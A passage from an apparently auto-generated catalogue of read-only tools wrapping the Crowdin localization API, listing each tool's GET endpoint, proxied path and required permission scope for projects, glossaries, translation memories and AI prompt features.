/api/v1/crowdin/applications/{applicationIdentifier}/api/all-jobs. Scopes: application. crowdin_get_applications_by_applicationidentifier_api_by_path (read) — Get Application Data via GET /applications/{applicationIdentifier}/api/{path} GET /api/v1/crowdin/applications/{applicationIdentifier}/api/{path}. Scopes: application. crowdin_get_applications_by_applicationidentifier_api_crowdin_files (read) — List Crowdin Files via GET /applications/{applicationIdentifier}/api/crowdin-files GET /api/v1/crowdin/applications/{applicationIdentifier}/api/crowdin-files. Scopes: application. crowdin_get_applications_by_applicationidentifier_api_file_progress (read) — Get File Progress via GET /applications/{applicationIdentifier}/api/file-progress GET /api/v1/crowdin/applications/{applicationIdentifier}/api/file-progress. Scopes: application. crowdin_get_applications_by_applicationidentifier_api_integration_files (read) — List Integration Files via GET /applications/{applicationIdentifier}/api/integration-files GET /api/v1/crowdin/applications/{applicationIdentifier}/api/integration-files. Scopes: application. crowdin_get_applications_by_applicationidentifier_api_job_info (read) — Get Job Info via GET /applications/{applicationIdentifier}/api/job-info GET /api/v1/crowdin/applications/{applicationIdentifier}/api/job-info. Scopes: application. crowdin_get_applications_by_applicationidentifier_api_jobs (read) — Get Job Info via GET /applications/{applicationIdentifier}/api/jobs GET /api/v1/crowdin/applications/{applicationIdentifier}/api/jobs. Scopes: application. crowdin_get_applications_by_applicationidentifier_api_login_fields (read) — Integration Login Form Fields via GET /applications/{applicationIdentifier}/api/login-fields GET /api/v1/crowdin/applications/{applicationIdentifier}/api/login-fields. Scopes: application. crowdin_get_applications_by_applicationidentifier_api_settings (read) — Get Application Settings via GET /applications/{applicationIdentifier}/api/settings GET /api/v1/crowdin/applications/{applicationIdentifier}/api/settings. Scopes: application. crowdin_get_applications_by_applicationidentifier_api_sync_settings (read) — Get Sync Settings via GET /applications/{applicationIdentifier}/api/sync-settings GET /api/v1/crowdin/applications/{applicationIdentifier}/api/sync-settings. Scopes: application. crowdin_get_applications_consents (read) — List Application Consent Decisions via GET /applications/consents GET /api/v1/crowdin/applications/consents. Scopes: application. crowdin_get_applications_installations (read) — List Application Installations via GET /applications/installations GET /api/v1/crowdin/applications/installations. Scopes: application. crowdin_get_applications_installations_by_identifier (read) — Get Application Installation via GET /applications/installations/{identifier} GET /api/v1/crowdin/applications/installations/{identifier}. Scopes: application. crowdin_get_applications_installations_by_identifier_update (read) — Get Application Installation Update via GET /applications/installations/{identifier}/update GET /api/v1/crowdin/applications/installations/{identifier}/update. Scopes: application. crowdin_get_branches (read) — Search Branches via GET /branches GET /api/v1/crowdin/branches. Scopes: project.source. crowdin_get_directories (read) — Search Directories via GET /directories GET /api/v1/crowdin/directories. Scopes: project.source. crowdin_get_files (read) — Search Files via GET /files GET /api/v1/crowdin/files. Scopes: project.source. crowdin_get_glossaries (read) — List Glossaries via GET /glossaries GET /api/v1/crowdin/glossaries. Scopes: glossary. crowdin_get_glossaries_by_glossaryid (read) — Get Glossary via GET /glossaries/{glossaryId} GET /api/v1/crowdin/glossaries/{glossaryId}. Scopes: glossary. crowdin_get_glossaries_by_glossaryid_concepts (read) — List Concepts via GET /glossaries/{glossaryId}/concepts GET /api/v1/crowdin/glossaries/{glossaryId}/concepts. Scopes: glossary. crowdin_get_glossaries_by_glossaryid_concepts_by_conceptid (read) — Get concept via GET /glossaries/{glossaryId}/concepts/{conceptId} GET /api/v1/crowdin/glossaries/{glossaryId}/concepts/{conceptId}. Scopes: glossary. crowdin_get_glossaries_by_glossaryid_exports_by_exportid (read) — Check Glossary Export Status via GET /glossaries/{glossaryId}/exports/{exportId} GET /api/v1/crowdin/glossaries/{glossaryId}/exports/{exportId}. Scopes: glossary. crowdin_get_glossaries_by_glossaryid_exports_by_exportid_download (read) — Download Glossary via GET /glossaries/{glossaryId}/exports/{exportId}/download GET /api/v1/crowdin/glossaries/{glossaryId}/exports/{exportId}/download. Scopes: glossary. crowdin_get_glossaries_by_glossaryid_imports_by_importid (read) — Check Glossary Import Status via GET /glossaries/{glossaryId}/imports/{importId} GET /api/v1/crowdin/glossaries/{glossaryId}/imports/{importId}. Scopes: glossary. crowdin_get_glossaries_by_glossaryid_terms (read) — List Terms via GET /glossaries/{glossaryId}/terms GET /api/v1/crowdin/glossaries/{glossaryId}/terms. Scopes: glossary. crowdin_get_glossaries_by_glossaryid_terms_by_termid (read) — Get Term via GET /glossaries/{glossaryId}/terms/{termId} GET /api/v1/crowdin/glossaries/{glossaryId}/terms/{termId}. Scopes: glossary. crowdin_get_languages (read) — List Supported Languages via GET /languages GET /api/v1/crowdin/languages. Scopes: language. crowdin_get_languages_by_languageid (read) — Get Language via GET /languages/{languageId} GET /api/v1/crowdin/languages/{languageId}. Scopes: language. crowdin_get_mts (read) — List MTs via GET /mts GET /api/v1/crowdin/mts. Scopes: mt. crowdin_get_mts_by_mtid (read) — Get MT via GET /mts/{mtId} GET /api/v1/crowdin/mts/{mtId}. Scopes: mt. crowdin_get_projects (read) — List Projects via GET /projects GET /api/v1/crowdin/projects. Scopes: project.settings. crowdin_get_projects_by_projectid (read) — Get Project via GET /projects/{projectId} GET /api/v1/crowdin/projects/{projectId}. Scopes: project.settings. crowdin_get_projects_by_projectid_advisors_checks_by_checkid (read) — Get Advisor Check Status via GET /projects/{projectId}/advisors/checks/{checkId} GET /api/v1/crowdin/projects/{projectId}/advisors/checks/{checkId}. Scopes: project.advisor. crowdin_get_projects_by_projectid_advisors_insights (read) — List Advisor Insights via GET /projects/{projectId}/advisors/insights GET /api/v1/crowdin/projects/{projectId}/advisors/insights. Scopes: project.advisor. crowdin_get_projects_by_projectid_ai_settings (read) — Get Project AI Settings via GET /projects/{projectId}/ai/settings GET /api/v1/crowdin/projects/{projectId}/ai/settings. Scopes: project. crowdin_get_projects_by_projectid_approvals (read) — List Translation Approvals via GET /projects/{projectId}/approvals GET /api/v1/crowdin/projects/{projectId}/approvals. Scopes: project.translation. crowdin_get_projects_by_projectid_approvals_by_approvalid (read) — Get Approval via GET /projects/{projectId}/approvals/{approvalId} GET /api/v1/crowdin/projects/{projectId}/approvals/{approvalId}. Scopes: project.translation. crowdin_get_projects_by_projectid_branches (read) — List Branches via GET /projects/{projectId}/branches GET /api/v1/crowdin/projects/{projectId}/branches. Scopes: project.source. crowdin_get_projects_by_projectid_branches_by_branchid (read) — Get Branch via GET /projects/{projectId}/branches/{branchId} GET /api/v1/crowdin/projects/{projectId}/branches/{branchId}. Scopes: project.source. crowdin_get_projects_by_projectid_branches_by_branchid_clones_by_cloneid (read) — Check Branch Clone Status via GET /projects/{projectId}/branches/{branchId}/clones/{cloneId} GET /api/v1/crowdin/projects/{projectId}/branches/{branchId}/clones/{cloneId}. Scopes: project.source. crowdin_get_projects_by_projectid_branches_by_branchid_clones_by_cloneid_branch (read) — Get Cloned Branch via GET /projects/{projectId}/branches/{branchId}/clones/{cloneId}/branch GET /api/v1/crowdin/projects/{projectId}/branches/{branchId}/clones/{cloneId}/branch. Scopes: project.source. crowdin_get_projects_by_projectid_branches_by_branchid_jobs_by_jobidentifier (read) — Check Delete Branch Job Status via GET /projects/{projectId}/branches/{branchId}/jobs/{jobIdentifier} GET /api/v1/crowdin/projects/{projectId}/branches/{branchId}/jobs/{jobIdentifier}. Scopes: project.source. crowdin_get_projects_by_projectid_branches_by_branchid_languages_progress (read) — Get Branch Progress via GET /projects/{projectId}/branches/{branchId}/languages/progress GET /api/v1/crowdin/projects/{projectId}/branches/{branchId}/languages/progress. Scopes: project.status. crowdin_get_projects_by_projectid_branches_by_branchid_merges_by_mergeid (read) — Check Branch Merge Status via GET /projects/{projectId}/branches/{branchId}/merges/{mergeId} GET /api/v1/crowdin/projects/{projectId}/branches/{branchId}/merges/{mergeId}. Scopes: project.source. crowdin_get_projects_by_projectid_branches_by_branchid_merges_by_mergeid_summary (read) — Get Branch Merge Summary via GET /projects/{projectId}/branches/{branchId}/merges/{mergeId}/summary GET /api/v1/crowdin/projects/{projectId}/branches/{branchId}/merges/{mergeId}/summary. Scopes: project.source. crowdin_get_projects_by_projectid_bundles (read) — List Bundles via GET /projects/{projectId}/bundles GET /api/v1/crowdin/projects/{projectId}/bundles. Scopes: project.translation. crowdin_get_projects_by_projectid_bundles_by_bundleid (read) — Get Bundle via GET /projects/{projectId}/bundles/{bundleId} GET /api/v1/crowdin/projects/{projectId}/bundles/{bundleId}. Scopes: project.source. crowdin_get_projects_by_projectid_bundles_by_bundleid_branches (read) — List Bundle Branches via GET /projects/{projectId}/bundles/{bundleId}/branches GET /api/v1/crowdin/projects/{projectId}/bundles/{bundleId}/branches. Scopes: project.source. crowdin_get_projects_by_projectid_bundles_by_bundleid_exports_by_exportid (read) — Check Bundle Export Status via GET /projects/{projectId}/bundles/{bundleId}/exports/{exportId} GET /api/v1/crowdin/projects/{projectId}/bundles/{bundleId}/exports/{exportId}. Scopes: project.translation. crowdin_get_projects_by_projectid_bundles_by_bundleid_exports_by_exportid_download (read) — Download Bundle via GET /projects/{projectId}/bundles/{bundleId}/exports/{exportId}/download GET /api/v1/crowdin/projects/{projectId}/bundles/{bundleId}/exports/{exportId}/download. Scopes: project.translation. crowdin_get_projects_by_projectid_bundles_by_bundleid_files (read) — Bundle List Files via GET /projects/{projectId}/bundles/{bundleId}/files GET /api/v1/crowdin/projects/{projectId}/bundles/{bundleId}/files. Scopes: project.source. crowdin_get_projects_by_projectid_comments (read) — List String/Asset Comments via GET /projects/{projectId}/comments GET /api/v1/crowdin/projects/{projectId}/comments. Scopes: project.source. crowdin_get_projects_by_projectid_comments_by_commentid (read) — Get String/Asset Comment via GET /projects/{projectId}/comments/{commentId} GET /api/v1/crowdin/projects/{projectId}/comments/{commentId}. Scopes: project.source. crowdin_get_projects_by_projectid_dictionaries (read) — List Dictionaries via GET /projects/{projectId}/dictionaries GET /api/v1/crowdin/projects/{projectId}/dictionaries. Scopes: project. crowdin_get_projects_by_projectid_directories (read) — List Directories via GET /projects/{projectId}/directories GET /api/v1/crowdin/projects/{projectId}/directories. Scopes: project.source. crowdin_get_projects_by_projectid_directories_by_directoryid (read) — Get Directory via GET /projects/{projectId}/directories/{directoryId} GET /api/v1/crowdin/projects/{projectId}/directories/{directoryId}. Scopes: project.source. crowdin_get_projects_by_projectid_directories_by_directoryid_jobs_by_jobidentifier (read) — Check Delete Directory Job Status via GET /projects/{projectId}/directories/{directoryId}/jobs/{jobIdentifier} GET /api/v1/crowdin/projects/{projectId}/directories/{directoryId}/jobs/{jobIdentifier}. Scopes: project.source. crowdin_get_projects_by_projectid_directories_by_directoryid_languages_progress (read) — Get Directory Progress via GET /projects/{projectId}/directories/{directoryId}/languages/progress GET /api/v1/crowdin/projects/{projectId}/directories/{directoryId}/languages/progress. Scopes: project.status. crowdin_get_projects_by_projectid_distributions (read) — List Distributions via GET /projects/{projectId}/distributions GET /api/v1/crowdin/projects/{projectId}/distributions. Scopes: project.translation. crowdin_get_projects_by_projectid_distributions_by_hash (read) — Get Distribution via GET /projects/{projectId}/distributions/{hash} GET /api/v1/crowdin/projects/{projectId}/distributions/{hash}. Scopes: project.translation. crowdin_get_projects_by_projectid_distributions_by_hash_release (read) — Get Distribution Release via GET /projects/{projectId}/distributions/{hash}/release GET /api/v1/crowdin/projects/{projectId}/distributions/{hash}/release. Scopes: project.translation. crowdin_get_projects_by_projectid_file_format_settings (read) — List Project File Format Settings via GET /projects/{projectId}/file-format-settings GET /api/v1/crowdin/projects/{projectId}/file-format-settings. Scopes: project.settings. crowdin_get_projects_by_projectid_file_format_settings_by_fileformatsettingsid (read) — Get Project File Format Settings via GET /projects/{projectId}/file-format-settings/{fileFormatSettingsId} GET /api/v1/crowdin/projects/{projectId}/file-format-settings/{fileFormatSettingsId}. Scopes: project.settings. crowdin_get_projects_by_projectid_file_format_settings_by_fileformatsettingsid_custom_segmentations (read) — Download Project File Format Settings Custom Segmentation via GET /projects/{projectId}/file-format-settings/{fileFormatSettingsId}/custom-segmentations GET /api/v1/crowdin/projects/{projectId}/file-format-settings/{fileFormatSettingsId}/custom-segmentations. Scopes: project.settings. crowdin_get_projects_by_projectid_files (read) — List Files via GET /projects/{projectId}/files GET /api/v1/crowdin/projects/{projectId}/files. Scopes: project.source. crowdin_get_projects_by_projectid_files_by_fileid (read) — Get File via GET /projects/{projectId}/files/{fileId} GET /api/v1/crowdin/projects/{projectId}/files/{fileId}. Scopes: project.source. crowdin_get_projects_by_projectid_files_by_fileid_download (read) — Download File via GET /projects/{projectId}/files/{fileId}/download GET /api/v1/crowdin/projects/{projectId}/files/{fileId}/download. Scopes: project.source. crowdin_get_projects_by_projectid_files_by_fileid_jobs_by_jobidentifier (read) — Check Delete File Job Status via GET /projects/{projectId}/files/{fileId}/jobs/{jobIdentifier} GET /api/v1/crowdin/projects/{projectId}/files/{fileId}/jobs/{jobIdentifier}. Scopes: project.source. crowdin_get_projects_by_projectid_files_by_fileid_languages_progress (read) — Get File Progress via GET /projects/{projectId}/files/{fileId}/languages/progress GET /api/v1/crowdin/projects/{projectId}/files/{fileId}/languages/progress. Scopes: project.status. crowdin_get_projects_by_projectid_files_by_fileid_preview (read) — Download File Preview via GET /projects/{projectId}/files/{fileId}/preview GET /api/v1/crowdin/projects/{projectId}/files/{fileId}/preview. Scopes: project.source. crowdin_get_projects_by_projectid_files_by_fileid_references (read) — List Asset References via GET /projects/{projectId}/files/{fileId}/references GET /api/v1/crowdin/projects/{projectId}/files/{fileId}/references. Scopes: project.source. crowdin_get_projects_by_projectid_files_by_fileid_references_by_referenceid (read) — Get Asset Reference via GET /projects/{projectId}/files/{fileId}/references/{referenceId} GET /api/v1/crowdin/projects/{projectId}/files/{fileId}/references/{referenceId}. Scopes: project.source. crowdin_get_projects_by_projectid_files_by_fileid_revisions (read) — List File Revisions via GET /projects/{projectId}/files/{fileId}/revisions GET /api/v1/crowdin/projects/{projectId}/files/{fileId}/revisions. Scopes: project.source. crowdin_get_projects_by_projectid_files_by_fileid_revisions_by_revisionid (read) — Get File Revision via GET /projects/{projectId}/files/{fileId}/revisions/{revisionId} GET /api/v1/crowdin/projects/{projectId}/files/{fileId}/revisions/{revisionId}. Scopes: project.source. crowdin_get_projects_by_projectid_issues (read) — List Reported Issues. via GET /projects/{projectId}/issues GET /api/v1/crowdin/projects/{projectId}/issues. Scopes: project.status. crowdin_get_projects_by_projectid_labels (read) — List Labels via GET /projects/{projectId}/labels GET /api/v1/crowdin/projects/{projectId}/labels. Scopes: project.source. crowdin_get_projects_by_projectid_labels_by_labelid (read) — Get Label via GET /projects/{projectId}/labels/{labelId} GET /api/v1/crowdin/projects/{projectId}/labels/{labelId}. Scopes: project.source. crowdin_get_projects_by_projectid_languages_by_languageid_progress (read) — Get Language Progress via GET /projects/{projectId}/languages/{languageId}/progress GET /api/v1/crowdin/projects/{projectId}/languages/{languageId}/progress. Scopes: project.status. crowdin_get_projects_by_projectid_languages_by_languageid_translations (read) — List Language Translations via GET /projects/{projectId}/languages/{languageId}/translations GET /api/v1/crowdin/projects/{projectId}/languages/{languageId}/translations. Scopes: project.translation. crowdin_get_projects_by_projectid_languages_progress (read) — Get Project Progress via GET /projects/{projectId}/languages/progress GET /api/v1/crowdin/projects/{projectId}/languages/progress. Scopes: project.status. crowdin_get_projects_by_projectid_members (read) — List Project Members via GET /projects/{projectId}/members GET /api/v1/crowdin/projects/{projectId}/members. Scopes: project.member. crowdin_get_projects_by_projectid_members_by_memberid (read) — Get Member Info via GET /projects/{projectId}/members/{memberId} GET /api/v1/crowdin/projects/{projectId}/members/{memberId}. Scopes: project.member. crowdin_get_projects_by_projectid_pre_translations (read) — List Auto-Translations via GET /projects/{projectId}/pre-translations GET /api/v1/crowdin/projects/{projectId}/pre-translations. Scopes: project.translation. crowdin_get_projects_by_projectid_pre_translations_by_jobidentifier (read) — Auto-Translation Status via GET /projects/{projectId}/pre-translations/{jobIdentifier} GET /api/v1/crowdin/projects/{projectId}/pre-translations/{jobIdentifier}. Scopes: project.translation. crowdin_get_projects_by_projectid_pre_translations_by_jobidentifier_report (read) — Auto-Translation Report via GET /projects/{projectId}/pre-translations/{jobIdentifier}/report GET /api/v1/crowdin/projects/{projectId}/pre-translations/{jobIdentifier}/report. Scopes: project.translation. crowdin_get_projects_by_projectid_qa_checks (read) — List QA Check Issues via GET /projects/{projectId}/qa-checks GET /api/v1/crowdin/projects/{projectId}/qa-checks. Scopes: project.status. crowdin_get_projects_by_projectid_qa_checks_revalidate_by_revalidationid (read) — QA Checks Revalidation Status via GET /projects/{projectId}/qa-checks/revalidate/{revalidationId} GET /api/v1/crowdin/projects/{projectId}/qa-checks/revalidate/{revalidationId}. Scopes: project.status. crowdin_get_projects_by_projectid_reports_by_reportid (read) — Check Report Generation Status via GET /projects/{projectId}/reports/{reportId} GET /api/v1/crowdin/projects/{projectId}/reports/{reportId}. Scopes: project.report. crowdin_get_projects_by_projectid_reports_by_reportid_download (read) — Download Report via GET /projects/{projectId}/reports/{reportId}/download GET /api/v1/crowdin/projects/{projectId}/reports/{reportId}/download. Scopes: project.report. crowdin_get_projects_by_projectid_reports_settings_templates (read) — List Report Settings Templates via GET /projects/{projectId}/reports/settings-templates GET /api/v1/crowdin/projects/{projectId}/reports/settings-templates. Scopes: project.report. crowdin_get_projects_by_projectid_reports_settings_templates_by_reportsettingstemplateid (read) — Get Report Settings Template via GET /projects/{projectId}/reports/settings-templates/{reportSettingsTemplateId} GET /api/v1/crowdin/projects/{projectId}/reports/settings-templates/{reportSettingsTemplateId}. Scopes: project.report. crowdin_get_projects_by_projectid_screenshots (read) — List Screenshots via GET /projects/{projectId}/screenshots GET /api/v1/crowdin/projects/{projectId}/screenshots. Scopes: project.screenshot. crowdin_get_projects_by_projectid_screenshots_by_screenshotid (read) — Get Screenshot via GET /projects/{projectId}/screenshots/{screenshotId} GET /api/v1/crowdin/projects/{projectId}/screenshots/{screenshotId}. Scopes: project.screenshot. crowdin_get_projects_by_projectid_screenshots_by_screenshotid_tags (read) — List Tags via GET /projects/{projectId}/screenshots/{screenshotId}/tags GET /api/v1/crowdin/projects/{projectId}/screenshots/{screenshotId}/tags. Scopes: project.screenshot. crowdin_get_projects_by_projectid_screenshots_by_screenshotid_tags_by_tagid (read) — Get Tag via GET /projects/{projectId}/screenshots/{screenshotId}/tags/{tagId} GET /api/v1/crowdin/projects/{projectId}/screenshots/{screenshotId}/tags/{tagId}. Scopes: project.screenshot. crowdin_get_projects_by_projectid_strings (read) — List Strings via GET /projects/{projectId}/strings GET /api/v1/crowdin/projects/{projectId}/strings. Scopes: project.source. crowdin_get_projects_by_projectid_strings_by_stringid (read) — Get String via GET /projects/{projectId}/strings/{stringId} GET /api/v1/crowdin/projects/{projectId}/strings/{stringId}. Scopes: project.source. crowdin_get_projects_by_projectid_strings_exporter_settings (read) — List Project Strings Exporter Settings via GET /projects/{projectId}/strings-exporter-settings GET /api/v1/crowdin/projects/{projectId}/strings-exporter-settings. Scopes: project.settings. crowdin_get_projects_by_projectid_strings_exporter_settings_by_systemstringsexportersettingsid (read) — Get Project Strings Exporter Settings via GET /projects/{projectId}/strings-exporter-settings/{systemStringsExporterSettingsId} GET /api/v1/crowdin/projects/{projectId}/strings-exporter-settings/{systemStringsExporterSettingsId}. Scopes: project.settings. crowdin_get_projects_by_projectid_strings_uploads_by_uploadid (read) — Check String Upload Status via GET /projects/{projectId}/strings/uploads/{uploadId} GET /api/v1/crowdin/projects/{projectId}/strings/uploads/{uploadId}. Scopes: project.source. crowdin_get_projects_by_projectid_tasks (read) — List Project Tasks via GET /projects/{projectId}/tasks GET /api/v1/crowdin/projects/{projectId}/tasks. Scopes: project.task. crowdin_get_projects_by_projectid_tasks_by_taskid (read) — Get Project Task via GET /projects/{projectId}/tasks/{taskId} GET /api/v1/crowdin/projects/{projectId}/tasks/{taskId}. Scopes: project.task. crowdin_get_projects_by_projectid_tasks_by_taskid_comments (read) — List Project Task Comments via GET /projects/{projectId}/tasks/{taskId}/comments GET /api/v1/crowdin/projects/{projectId}/tasks/{taskId}/comments. Scopes: project.task. crowdin_get_projects_by_projectid_tasks_by_taskid_comments_by_commentid (read) — Get Project Task Comment via GET /projects/{projectId}/tasks/{taskId}/comments/{commentId} GET /api/v1/crowdin/projects/{projectId}/tasks/{taskId}/comments/{commentId}. Scopes: project.task. crowdin_get_projects_by_projectid_tasks_settings_templates (read) — List Project Task Settings Templates via GET /projects/{projectId}/tasks/settings-templates GET /api/v1/crowdin/projects/{projectId}/tasks/settings-templates. Scopes: project.task. crowdin_get_projects_by_projectid_tasks_settings_templates_by_tasksettingstemplateid (read) — Get Project Task Settings Template via GET /projects/{projectId}/tasks/settings-templates/{taskSettingsTemplateId} GET /api/v1/crowdin/projects/{projectId}/tasks/settings-templates/{taskSettingsTemplateId}. Scopes: project.task. crowdin_get_projects_by_projectid_translations (read) — List String/Asset Translations via GET /projects/{projectId}/translations GET /api/v1/crowdin/projects/{projectId}/translations. Scopes: project.translation. crowdin_get_projects_by_projectid_translations_builds (read) — List Project Builds via GET /projects/{projectId}/translations/builds GET /api/v1/crowdin/projects/{projectId}/translations/builds. Scopes: project.translation. crowdin_get_projects_by_projectid_translations_builds_by_buildid (read) — Check Project Build Status via GET /projects/{projectId}/translations/builds/{buildId} GET /api/v1/crowdin/projects/{projectId}/translations/builds/{buildId}. Scopes: project.translation. crowdin_get_projects_by_projectid_translations_builds_by_buildid_download (read) — Download Project Translations via GET /projects/{projectId}/translations/builds/{buildId}/download GET /api/v1/crowdin/projects/{projectId}/translations/builds/{buildId}/download. Scopes: project.translation. crowdin_get_projects_by_projectid_translations_by_translationid (read) — Get Translation via GET /projects/{projectId}/translations/{translationId} GET /api/v1/crowdin/projects/{projectId}/translations/{translationId}. Scopes: project.translation. crowdin_get_projects_by_projectid_translations_imports_by_importtranslationid (read) — Import Translations Status via GET /projects/{projectId}/translations/imports/{importTranslationId} GET /api/v1/crowdin/projects/{projectId}/translations/imports/{importTranslationId}. Scopes: project.translation. crowdin_get_projects_by_projectid_translations_imports_by_importtranslationid_report (read) — Import Translations Report via GET /projects/{projectId}/translations/imports/{importTranslationId}/report GET /api/v1/crowdin/projects/{projectId}/translations/imports/{importTranslationId}/report. Scopes: project.translation. crowdin_get_projects_by_projectid_votes (read) — List Translation Votes via GET /projects/{projectId}/votes GET /api/v1/crowdin/projects/{projectId}/votes. Scopes: project.translation. crowdin_get_projects_by_projectid_votes_by_voteid (read) — Get Vote via GET /projects/{projectId}/votes/{voteId} GET /api/v1/crowdin/projects/{projectId}/votes/{voteId}. Scopes: project.translation. crowdin_get_projects_by_projectid_webhooks (read) — List Webhooks via GET /projects/{projectId}/webhooks GET /api/v1/crowdin/projects/{projectId}/webhooks. Scopes: project.webhook. crowdin_get_projects_by_projectid_webhooks_by_webhookid (read) — Get Webhook via GET /projects/{projectId}/webhooks/{webhookId} GET /api/v1/crowdin/projects/{projectId}/webhooks/{webhookId}. Scopes: project.webhook. crowdin_get_storages (read) — List Storages via GET /storages GET /api/v1/crowdin/storages. Scopes: project.source. crowdin_get_storages_by_storageid (read) — Get Storage via GET /storages/{storageId} GET /api/v1/crowdin/storages/{storageId}. Scopes: project.source. crowdin_get_strings (read) — Search Strings via GET /strings GET /api/v1/crowdin/strings. Scopes: project.source. crowdin_get_style_guides (read) — List Style Guides via GET /style-guides GET /api/v1/crowdin/style-guides. Scopes: style-guide. crowdin_get_style_guides_by_styleguideid (read) — Get Style Guide via GET /style-guides/{styleGuideId} GET /api/v1/crowdin/style-guides/{styleGuideId}. Scopes: style-guide. crowdin_get_tms (read) — List TMs via GET /tms GET /api/v1/crowdin/tms. Scopes: tm. crowdin_get_tms_by_tmid (read) — Get TM via GET /tms/{tmId} GET /api/v1/crowdin/tms/{tmId}. Scopes: tm. crowdin_get_tms_by_tmid_exports_by_exportid (read) — Check TM Export Status via GET /tms/{tmId}/exports/{exportId} GET /api/v1/crowdin/tms/{tmId}/exports/{exportId}. Scopes: tm. crowdin_get_tms_by_tmid_exports_by_exportid_download (read) — Download TM via GET /tms/{tmId}/exports/{exportId}/download GET /api/v1/crowdin/tms/{tmId}/exports/{exportId}/download. Scopes: tm. crowdin_get_tms_by_tmid_imports_by_importid (read) — Check TM Import Status via GET /tms/{tmId}/imports/{importId} GET /api/v1/crowdin/tms/{tmId}/imports/{importId}. Scopes: tm. crowdin_get_tms_by_tmid_segments (read) — List TM Segments via GET /tms/{tmId}/segments GET /api/v1/crowdin/tms/{tmId}/segments. Scopes: tm. crowdin_get_tms_by_tmid_segments_by_segmentid (read) — Get TM Segment via GET /tms/{tmId}/segments/{segmentId} GET /api/v1/crowdin/tms/{tmId}/segments/{segmentId}. Scopes: tm. crowdin_get_translations (read) — Search Translations via GET /translations GET /api/v1/crowdin/translations. Scopes: project.translation. crowdin_get_user (read) — Get Authenticated User via GET /user GET /api/v1/crowdin/user. Scopes: project.member. crowdin_get_user_tasks (read) — List User Tasks via GET /user/tasks GET /api/v1/crowdin/user/tasks. Scopes: project.task. crowdin_get_users_by_userid_ai_file_translations_by_jobidentifier (read) — Get File Translations Status via GET /users/{userId}/ai/file-translations/{jobIdentifier} GET /api/v1/crowdin/users/{userId}/ai/file-translations/{jobIdentifier}. Scopes: ai.translate. crowdin_get_users_by_userid_ai_file_translations_by_jobidentifier_download (read) — Download Translated File via GET /users/{userId}/ai/file-translations/{jobIdentifier}/download GET /api/v1/crowdin/users/{userId}/ai/file-translations/{jobIdentifier}/download. Scopes: ai.translate. crowdin_get_users_by_userid_ai_file_translations_by_jobidentifier_translations (read) — Download Translated File Strings via GET /users/{userId}/ai/file-translations/{jobIdentifier}/translations GET /api/v1/crowdin/users/{userId}/ai/file-translations/{jobIdentifier}/translations. Scopes: ai.translate. crowdin_get_users_by_userid_ai_prompts (read) — List AI Prompts via GET /users/{userId}/ai/prompts GET /api/v1/crowdin/users/{userId}/ai/prompts. Scopes: ai.prompt. crowdin_get_users_by_userid_ai_prompts_by_aipromptid (read) — Get AI Prompt via GET /users/{userId}/ai/prompts/{aiPromptId} GET /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}. Scopes: ai.prompt. crowdin_get_users_by_userid_ai_prompts_by_aipromptid_completions_by_completionid (read) — Get AI Prompt Completion Status via GET /users/{userId}/ai/prompts/{aiPromptId}/completions/{completionId} GET /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}/completions/{completionId}. Scopes: ai.prompt. crowdin_get_users_by_userid_ai_prompts_by_aipromptid_completions_by_completionid_download (read) — Download AI Prompt Completion via GET /users/{userId}/ai/prompts/{aiPromptId}/completions/{completionId}/download GET /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}/completions/{completionId}/download. Scopes: ai.prompt. crowdin_get_users_by_userid_ai_prompts_by_aipromptid_fine_tuning_datasets_by_jobidentifier (read) — Get AI Prompt Fine-Tuning Dataset Generation Status via GET /users/{userId}/ai/prompts/{aiPromptId}/fine-tuning/datasets/{jobIdentifier} GET /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}/fine-tuning/datasets/{jobIdentifier}. Scopes: ai.fine-tuning. crowdin_get_users_by_userid_ai_prompts_by_aipromptid_fine_tuning_datasets_by_jobidentifier_download (read) — Download AI Prompt Fine-Tuning Dataset via GET /users/{userId}/ai/prompts/{aiPromptId}/fine-tuning/datasets/{jobIdentifier}/download GET /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}/fine-tuning/datasets/{jobIdentifier}/download. Scopes: ai.fine-tuning. crowdin_get_users_by_userid_ai_prompts_by_aipromptid_fine_tuning_jobs_by_jobidentifier (read) — Get AI Prompt Fine-Tuning Job Status via GET /users/{userId}/ai/prompts/{aiPromptId}/fine-tuning/jobs/{jobIdentifier} GET /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}/fine-tuning/jobs/{jobIdentifier}. Scopes: ai.fine-tuning. crowdin_get_users_by_userid_ai_prompts_by_aipromptid_fine_tuning_jobs_by_jobidentifier_events (read) — List AI Prompt Fine-Tuning Events via GET /users/{userId}/ai/prompts/{aiPromptId}/fine-tuning/jobs/{jobIdentifier}/events GET /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}/fine-tuning/jobs/{jobIdentifier}/events. Scopes: ai.fine-tuning. crowdin_get_users_by_userid_ai_prompts_fine_tuning_jobs (read) — List AI Prompt Fine-Tuning Jobs via GET /users/{userId}/ai/prompts/fine-tuning/jobs GET /api/v1/crowdin/users/{userId}/ai/prompts/fine-tuning/jobs. Scopes: ai.fine-tuning. crowdin_get_users_by_userid_ai_providers (read) — List AI Providers via GET /users/{userId}/ai/providers GET /api/v1/crowdin/users/{userId}/ai/providers. Scopes: ai.provider. crowdin_get_users_by_userid_ai_providers_by_aiproviderid (read) — Get AI Provider via GET /users/{userId}/ai/providers/{aiProviderId} GET /api/v1/crowdin/users/{userId}/ai/providers/{aiProviderId}. Scopes: ai.provider. crowdin_get_users_by_userid_ai_providers_by_aiproviderid_gateway_by_path (read) — AI Gateway GET via GET /users/{userId}/ai/providers/{aiProviderId}/gateway/{path} GET /api/v1/crowdin/users/{userId}/ai/providers/{aiProviderId}/gateway/{path}. Scopes: ai.proxy. crowdin_get_users_by_userid_ai_providers_by_aiproviderid_models (read) — List AI Provider Models via GET /users/{userId}/ai/providers/{aiProviderId}/models GET /api/v1/crowdin/users/{userId}/ai/providers/{aiProviderId}/models. Scopes: ai.provider. crowdin_get_users_by_userid_ai_providers_models (read) — List AI Provider Models via GET /users/{userId}/ai/providers/models GET /api/v1/crowdin/users/{userId}/ai/providers/models. Scopes: ai.provider. crowdin_get_users_by_userid_ai_providers_supported_models (read) — List Supported AI Provider Models via GET /users/{userId}/ai/providers/supported-models GET /api/v1/crowdin/users/{userId}/ai/providers/supported-models. Scopes: ai.provider. 